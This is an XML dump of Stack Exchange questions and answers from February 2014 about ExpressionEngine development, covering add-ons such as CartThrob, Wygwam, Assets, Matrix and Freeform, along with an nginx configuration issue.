  <row Id="19292" PostTypeId="2" ParentId="18928" CreationDate="2014-02-10T15:49:50.917" Score="3" Body="&lt;p&gt;Yes, you can pull content across sites. That the site setup process allows you to copy an existing site doesn't change that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can embed templates across sites using an embed statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;default_site:embeds/html_header&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by sharing templates via a symlink.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-02-10T15:49:50.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19293" PostTypeId="1" CreationDate="2014-02-10T15:55:40.460" Score="1" ViewCount="21" Body="&lt;p&gt;The EE Moblog syntax allows you to set categories and multiple categories via a {category} tag pair in the email submitting your content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's fine unless you have Primary Category set for that channel. In that case, the content - although it's added to the channel by the Moblog module - won't render in a channel entries loop unless a Primary Category is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a workaround (besides manually editing the channel entry)? Would Primary Category have to hook into Moblog submissions to identify a primary category tag for this to work seamlessly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2014-02-10T15:55:40.460" Title="How can I specify a Primary Category in a Moblog submission?" Tags="|primary-category|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19294" PostTypeId="1" CreationDate="2014-02-10T15:57:17.410" Score="0" ViewCount="43" Body="&lt;p&gt;I have a client site in which I need to convert a very large number of existing entries from ExpressionEngine's native File Upload functionality to Assets in order to take advantage of S3 storage. I have successfully converted all File fields to Assets fields and moved over the files to S3 via drag and drop in the Assets interface. Now all of those fields are properly pointing to S3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes in with Wygwam fields. I have referred to &lt;a href=&quot;https://expressionengine.stackexchange.com/a/7247/955&quot;&gt;this other SO answer&lt;/a&gt; which explains that previous to Wygwam 2.7 there was no way for Assets to keep track of what files were pointed to inside Wygwam fields. I have upgraded the site's Wygwam version to 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a batch process that does a regex replace on the contents of all wygwam fields and converts {filedir_n} and hardcoded references to {asset_m} references for the corresponding Assets S3 upload location. Now all of them simply display {asset_m}/filename.ext, which obviously means broken images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was my understanding that Wygwam 2.7 would be able to convert those tags on display to the correct path. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="955" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-02-10T22:25:12.470" Title="Wygwam 2.7 not processing Assets tags after bulk conversion" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19295" PostTypeId="2" ParentId="19134" CreationDate="2014-02-10T16:21:58.933" Score="2" Body="&lt;p&gt;Alternative solution: use a jquery validation tool instead of multiple return options. If all fields have valid solutions (i.e. all are &quot;yes&quot;), then you collect the contact info. If not, they get an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are tons of options if you search for &quot;jquery validation&quot; like this one: &lt;a href=&quot;http://validval.frebsite.nl/&quot; rel=&quot;nofollow&quot;&gt;http://validval.frebsite.nl/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Define what a &quot;valid&quot; response is, and then any non-valid response gets an error message. (also defined by you)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spy a lot of &quot;freeform validation&quot; questions on stack exchange. Maybe look and see if one of those has a more specific recommendation.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-02-10T16:21:58.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19296" PostTypeId="1" AcceptedAnswerId="19333" CreationDate="2014-02-10T17:08:30.560" Score="3" ViewCount="215" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://xxx.xxx.xxx/themes/third_party/cartthrob/lib/extload.php&quot; rel=&quot;nofollow&quot;&gt;https://xxx.xxx.xxx/themes/third_party/cartthrob/lib/extload.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;works fine, but&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://xxx.xxx.xxx/themes/third_party/cartthrob/lib/extload.php/sage_s&quot; rel=&quot;nofollow&quot;&gt;https://xxx.xxx.xxx/themes/third_party/cartthrob/lib/extload.php/sage_s&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;returns a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My nginx server config is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;  listen 443 default_server ssl;&#xA;  ssl_certificate /etc/nginx/ssl/xxx_xxx_xxx.pem;&#xA;  ssl_certificate_key /etc/nginx/ssl/xxx_xxx_xxx.key;&#xA;  server_name xxx.xxx.xxx;&#xA;  root /sites/xxx_xxx_xxx/public_html;&#xA;&#xA;  access_log /var/log/nginx/xxx_xxx_xxx-access.log;&#xA;  error_log  /var/log/nginx/xxx_xxx_xxx-error.log info;&#xA;&#xA;  location / {&#xA;    index index.php;&#xA;    try_files $uri $uri/ @ee;&#xA;  }&#xA;&#xA;  location @ee {&#xA;    rewrite ^(.*) /index.php?$1 last;&#xA;  }&#xA;&#xA;  location ~ \.php$ {&#xA;    include /etc/nginx/fastcgi_params;&#xA;    fastcgi_pass unix:/var/run/php5-fpm.sock;&#xA;    fastcgi_index index.php5;&#xA;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="906" LastActivityDate="2014-02-11T16:28:45.807" Title="404 when Sagepay attempts to contact Cartthrob notification URL in Nginx" Tags="|cartthrob|sagepay|nginx|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19297" PostTypeId="2" ParentId="19191" CreationDate="2014-02-10T17:08:43.493" Score="1" Body="&lt;p&gt;Issue related to DOMPDF library used by PDF Press. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have modified third_party/pdf_press/dompdf/dompdf_config.custom.inc.php file based on third_party/pdf_press/dompdf_config.custom.inc.php file. Other way wasn’t working (probably something wrong with absolute path). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fix above resolved issue with generating PDFs for downloading or open by a browser but not in the PDF Press preview mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More on that topic here: &lt;a href=&quot;http://devot-ee.com/add-ons/support/pdf-press/viewthread/12549/P15&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/pdf-press/viewthread/12549/P15&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-02-10T17:08:43.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19298" PostTypeId="1" CreationDate="2014-02-10T17:20:00.093" Score="1" ViewCount="179" Body="&lt;p&gt;We found an error with Matrix v2.5.10 and EE v2.5.0. Specifically the date field was throwing an error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method EE_Localize::format_date() in /chroot/home/giagingo/giaging.org/html/zIyzybo7i9Yn5T/expressionengine/third_party/matrix/celltypes/date.php on line 139&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-02-10T17:20:00.093" Title="Matrix date field error for v2.5.10 bug and fix (at least we think so)" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19299" PostTypeId="2" ParentId="19298" CreationDate="2014-02-10T17:20:00.093" Score="1" Body="&lt;p&gt;line 139 of date.php is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;format_date($params['format'], $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at older versions of date.php we tried changing line 139 to read&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;decode_date($params['format'], $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it worked!&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-02-10T17:20:00.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19300" PostTypeId="1" AcceptedAnswerId="19359" CreationDate="2014-02-10T17:54:13.183" Score="2" ViewCount="49" Body="&lt;p&gt;I just upgraded a site from CartThrob 2.1.3 to 2.5 (along with updating EE to 2.7.3). Everything seems to be fine, but I'm having a glitch during the checkout process. It may very well not have anything directly to do with CT, but I'm stumped as to what's going on. Any suggestions would be really appreciated. Here's the situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up a subdomain for the upgraded site, for example, beta.testsite.com (the regular site url is formatted like www.testsite.com). During the checkout process, I have an initial https page where the customer enters their name, as well as choosing a shipping option and entering a shipping address. When submitted, that page is supposed to return the second checkout page, where credit card information gets input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening, though, is that instead of returning &lt;a href=&quot;https://beta.testsite.com/cart/checkout2&quot; rel=&quot;nofollow&quot;&gt;https://beta.testsite.com/cart/checkout2&lt;/a&gt;, it's returning &lt;a href=&quot;https://www.testsite.com/cart/checkout2&quot; rel=&quot;nofollow&quot;&gt;https://www.testsite.com/cart/checkout2&lt;/a&gt; instead. (www instead of beta)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the template for the first checkout page, the cart scripts file that gets embedded, and the htaccess file -- none are explicitly calling the www version of the domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what might be the culprit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I realize this is a somewhat vague issue with lots of potential variables, but I'm stumped. Thanks in advance.)&lt;/p&gt;&#xA;" OwnerUserId="2726" LastActivityDate="2014-02-12T05:14:12.543" Title="CartThrob checkout form returning wrong subdomain" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19301" PostTypeId="2" ParentId="17513" CreationDate="2014-02-10T18:30:09.633" Score="1" Body="&lt;p&gt;Reposting Amy's answer from above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found the answer after I jumped the gun:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform 4.0.12 ceate form button missing in firefox ie and chrome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was missing the themes. Sheeeeeit, as Clay Davis would say, who knew you had to install those files too, to make the thing work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You put the freeform folder under &quot;third party&quot; in the module distribution under [eebase] &gt; themes &gt; third party on your server.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-10T18:30:09.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19302" PostTypeId="1" AcceptedAnswerId="19319" CreationDate="2014-02-10T18:39:26.163" Score="1" ViewCount="210" Body="&lt;p&gt;I've got a Low Variables group setup called 'Widget sources'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside this group I have 6 Low Variables, all Playa fieldtypes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got some channel entries selected so there are relationship in the system...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix field type setup in a Channel field group which points to my Low Variable group. Multiple selections set to yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to publish a new entry in my channel, and create a new Matrix row, my Low variable field type column is blank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be able to select something here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See screenshots attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sean&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/TphQ&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/TphQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/TpNX&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/TpNX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/TqMd&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/TqMd&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="679" LastEditorUserId="679" LastEditDate="2014-02-10T18:44:49.767" LastActivityDate="2014-02-11T08:08:07.033" Title="Low Variables, Matrix and Playa" Tags="|matrix|playa|low-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19303" PostTypeId="1" CreationDate="2014-02-10T19:05:59.547" Score="1" ViewCount="74" Body="&lt;p&gt;I'm not seeing any reference in the docs to coupon codes or discounts on subscriptions. Is this possible? More specifically, our project scope includes applying coupon codes to either the &lt;em&gt;first&lt;/em&gt; month's subscription charge or all subsequent months in a given subscription.&lt;/p&gt;&#xA;" OwnerUserId="2720" LastActivityDate="2014-02-12T05:19:27.003" Title="CartThrob - Coupon or discount for subscriptions?" Tags="|ee2|cartthrob|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19304" PostTypeId="1" CreationDate="2014-02-10T19:06:49.943" Score="2" ViewCount="651" Body="&lt;p&gt;I have a site that I have running on a company server that is an internal server. It does not allow requests from outside to come in. The entire site works fine on my local computer and on a server that is external.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my internal server I am getting these errors in the error log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[warn]  mod_fcgid: read data timeout in 61 seconds&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[error]  Premature end of script headers: admin.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my thought is that it is something with it calling out and waiting on a response. I have disabled the Auto check for update in the control panel. And that allowed it to work for a little while. But now I am not able to login as a Super Admin. I am able to login as any other type of member including one that is a copy of the Super Admin profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any help for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2372" LastActivityDate="2014-02-15T00:54:54.507" Title="Timed Out at Control Panel Login as Super Admin" Tags="|control-panel|login|super-admin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19305" PostTypeId="1" AcceptedAnswerId="19717" CreationDate="2014-02-10T19:55:53.040" Score="0" ViewCount="79" Body="&lt;p&gt;I have channel named Products and category group Product Types assigned to it.  As an example it looks like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Product Type -&amp;gt; Scent -&amp;gt; Product Collection&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And then it comes as Product Collection sometimes has own Product Line (here I have dilemma) or goes directly to a product item (that part I have handled already).&lt;/p&gt;&#xA;&lt;p&gt;Also Product Types category group is used for building a main menu (using GWcode Categories add-on).&lt;/p&gt;&#xA;&lt;p&gt;My question is - should I add Product Line for particular Product ABC Collection as a child category or create separate category group Product Lines and there list Product ABC Collection with his Product Line (and how to link it to the &amp;quot;main&amp;quot; Product Collection from Product Type).&lt;/p&gt;&#xA;&lt;p&gt;Option 1:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Product Type -&amp;gt; Scent -&amp;gt; Product ABC Collection -&amp;gt; Product ABC Line&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Option 2:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Product Type -&amp;gt; Scent -&amp;gt; Product ABC Collection&lt;/p&gt;&#xA;&lt;p&gt;Product Lines -&amp;gt; Product ABC Collection -&amp;gt; Product ABC Line&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and connect those two category groups together.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure which one is the best practice way to go for within EE.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-02-24T21:54:07.640" Title="Child subcategory or separate category - which one for the best practices" Tags="|categories|category-group|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19306" PostTypeId="2" ParentId="19252" CreationDate="2014-02-10T20:08:12.007" Score="1" Body="&lt;p&gt;For your scenario you should be using the buy x of a,b,c get discount plugin. &lt;a href=&quot;https://github.com/CartThrob/cartthrob-discounts-buy_x_of_abc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CartThrob/cartthrob-discounts-buy_x_of_abc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your settings would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Purchased Quantity = 1&#xA;Discount Quantity = 1&#xA;Percentage Off = 20&#xA;Qualifying entry_ids = 1,2,3,4,5,6&#xA;Per Item Limit = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-10T20:08:12.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19307" PostTypeId="2" ParentId="19268" CreationDate="2014-02-10T20:31:03.790" Score="1" Body="&lt;p&gt;Adding an input for language to your checkout form should set paypal's localecode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;language&quot; value=&quot;DE&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-10T20:31:03.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19308" PostTypeId="1" CreationDate="2014-02-10T20:32:16.047" Score="1" ViewCount="43" Body="&lt;p&gt;I am new to EE and plan to build an online assessment/application site. In short, users will be able to enter basic information and get a link to a proper online form/downloadable pdf which they should fill in and submit/upload later. Once the form is submitted,an admin will perform as the grader to grade their forms and make the decision(accept or redo). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In detail, current requirements are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There should be multiple user groups, like different teams, all users in the same team should represent a single team, and share the same team information (like contact info, teamID).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Interactive form, which direct users to right online form/pdf based on their input&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There should be a progress bar to remind users that how many info they still need to enter, how many form to fill&amp;amp;submit and a overall progress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Email notification when a form is submitted or graded (I think this can be done by the built-in functions?).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To some extent, this site will function as a LMS site, so I am researching that if available adds-on like QUIZ4EE or Polls can be used as a platform for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was mainly doing WordPress and Drupal, this will be my first EE site, so please forgive my ignorance and any input will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2612" LastActivityDate="2014-02-10T20:32:16.047" Title="Adds-on for building a online assessment/application system" Tags="|ee2|forms|users|groups|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19309" PostTypeId="2" ParentId="19296" CreationDate="2014-02-10T20:33:05.100" Score="1" Body="&lt;p&gt;Ensure your firewalls allow outbound Port 443 (HTTPS only) &amp;amp; inbound ports 443 (&amp;amp; optionally 80 HTTP) access in order to communicate with our servers (on Test/Live).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check not a DNS issue if not receiving our (Sage Pays) Notification post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the main differences between the two NotificationURLs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When acknowledging Sage Pays notification post, when you send the Status, StatusDetail and RedirectURL, make sure you clear your response buffer to remove header code, comments or HTML as Sage Pay Server will expect &quot;Status=&quot; to be first characters in the response.  &lt;/p&gt;&#xA;" OwnerUserId="2730" LastActivityDate="2014-02-10T20:33:05.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19310" PostTypeId="2" ParentId="19282" CreationDate="2014-02-10T21:04:07.013" Score="1" Body="&lt;p&gt;Yes, including an expiration_date parameter in the add_to_cart_form is exactly how you would do it. The expiration date is entered as days from purchase. &lt;code&gt;{exp:cartthrob:add_to_cart_form expiration_date=&quot;30&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the channel that holds your public profiles as your purchased items channel in the CartThrob &gt; Orders settings tab. Then the entries that get added there will have expiration dates.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-10T21:04:07.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19311" PostTypeId="1" CreationDate="2014-02-10T22:03:09.383" Score="1" ViewCount="190" Body="&lt;p&gt;I've been testing the default comments module, and noticed that when I use {comment_total} in the channel entries tag above my comments block, it displays the total amount of any comments for that blog post, so even if I have 5 open status, 5 closed, it shows 10 total comments. How can I filter it to only display open comment totals? I have included some of the code below. I can't just go in and recount statistics on channel entries every week, I need it to start out -only- displaying {comment_total} with a status of Open.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot; status=&quot;Open&quot;}&#xA;{head}&#xA;    &amp;lt;h6&amp;gt;There are {comment_total} comments on this post. &amp;lt;a href=&quot;#comments&quot;&amp;gt;Skip to comments &amp;amp;raquo&amp;lt;/a&amp;gt;&amp;lt;/h6&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Submit a comment:&amp;lt;/h3&amp;gt;&#xA;        {!-- comment form tag is here --}&#xA;        {embed=&quot;view/.commentview&quot;}&#xA;        {!-- .commentview embed contains the display of all comments associated with this post --}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-02-10T22:03:09.383" Title="Comment_total is displaying total number of ALL comments, not just open status" Tags="|channel-entries|comments|status|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19312" PostTypeId="2" ParentId="19294" CreationDate="2014-02-10T22:25:12.470" Score="1" Body="&lt;p&gt;It turns out that the linked SO answer referred incorrectly to {asset_n} tags as opposed to {assets_n} with the &quot;s&quot;. This was part of the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of it is that Wygwam expects the assets file to be referred to as &lt;code&gt;{assets_&amp;lt;file_id&amp;gt;:&amp;lt;fallback_url&amp;gt;}&lt;/code&gt;. Importantly, the number refers to the file id in table &lt;code&gt;exp_assets_files&lt;/code&gt; not the source_id in &lt;code&gt;exp_assets_sources&lt;/code&gt;. The presence of the fallback url seems to be for when assets is uninstalled, or when the file reference no longer exists. You should be able to leave it blank eg. &lt;code&gt;{assets_237:}&lt;/code&gt; but I haven't tested this.&lt;/p&gt;&#xA;" OwnerUserId="955" LastActivityDate="2014-02-10T22:25:12.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19313" PostTypeId="2" ParentId="19182" CreationDate="2014-02-10T23:43:24.427" Score="1" Body="&lt;p&gt;Assets doesn't have any sort of self-updating capability. Moreover, “@@@VERSION@@@” is a flag Assets only uses in its source code. It gets replaced with the actual version number through our build script, before it ever becomes a downloadable .zip on Devot:ee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what's going on here, but it smells fishy. You should really take some time to investigate where your Assets files came from, and how they “randomly” made it to your server.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-02-10T23:43:24.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19314" PostTypeId="2" ParentId="19228" CreationDate="2014-02-11T01:56:11.617" Score="1" Body="&lt;p&gt;If you create a &lt;strong&gt;custom Composer Template&lt;/strong&gt; to go with your Composer form, you can set the same parameters as used  by &lt;code&gt;{exp:freeform:form}&lt;/code&gt;. From the in-add-on instructions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Template Params&lt;/strong&gt;&lt;br&gt;&#xA;  Add default tag params composer output. These can be any parameters available to {exp:freeform:form}.&lt;br&gt;&#xA;  &lt;em&gt;These will override anything set by Freeform Composer.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional information&lt;/strong&gt;: The Composer templates are created in Freeform from the &quot;&lt;em&gt;Composer Templates&lt;/em&gt;&quot; tab, and a custom Composer Template is associated with your Composer form in the top left dropdown in the Composer Editor UI in the CP (&quot;&lt;em&gt;Forms&lt;/em&gt;&quot; tab).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-11T01:56:11.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19315" PostTypeId="1" CreationDate="2014-02-11T04:17:10.880" Score="1" ViewCount="465" Body="&lt;p&gt;EE v2.7.3&#xA;Matrix v2.5.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Channel:Form where I need to do a ton of custom styling, so I have manually built the form markup, using exactly what is rendered out by {field:my_matrix_field}.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to upload a new file or replace an existing file through this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can:&#xA; Upload files in the control panel&#xA; Upload files by using {field:my_matrix_field} inside the form&#xA; Upload files by using my own markup tied to a single, non-matrix file field.&#xA; Post &amp;amp; updated data in text fields within the matrix field, using my own markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot:&#xA; Upload files using my own markup to a matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Markup created by {field:my_matrix_field}:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;cb-video[row_id_22][col_id_7]&quot; class=&quot;file-chooser&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;cb-video[row_id_22][col_id_7][existing]&quot; value=&quot;logo.jpg|3&quot; class=&quot;existing_file&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Markup created by me: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;cb-video[row_id_22][col_id_7]&quot; class=&quot;file-chooser&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;not_cb-video[row_id_22][col_id_7][existing]&quot; value=&quot;logo.jpg|3&quot; class=&quot;existing_file&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice I change the name attr of the hidden field to be prepended with &quot;not_&quot;.  This mimicks what the Matrix JS does to file fields on edit.  The {field:my_matrix_field} version will successfully post the data and my markup will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing an additional hidden field or JS file that should be included?  I feel like it should work with the manually created markup, so long as it is identical.  It works with the other field types just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2238" LastEditDate="2014-02-11T04:22:12.163" LastActivityDate="2014-02-11T07:21:06.970" Title="Channel Form with Matrix File Upload Field" Tags="|matrix|safecracker|file-uploads|channel-form|safecracker-file|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
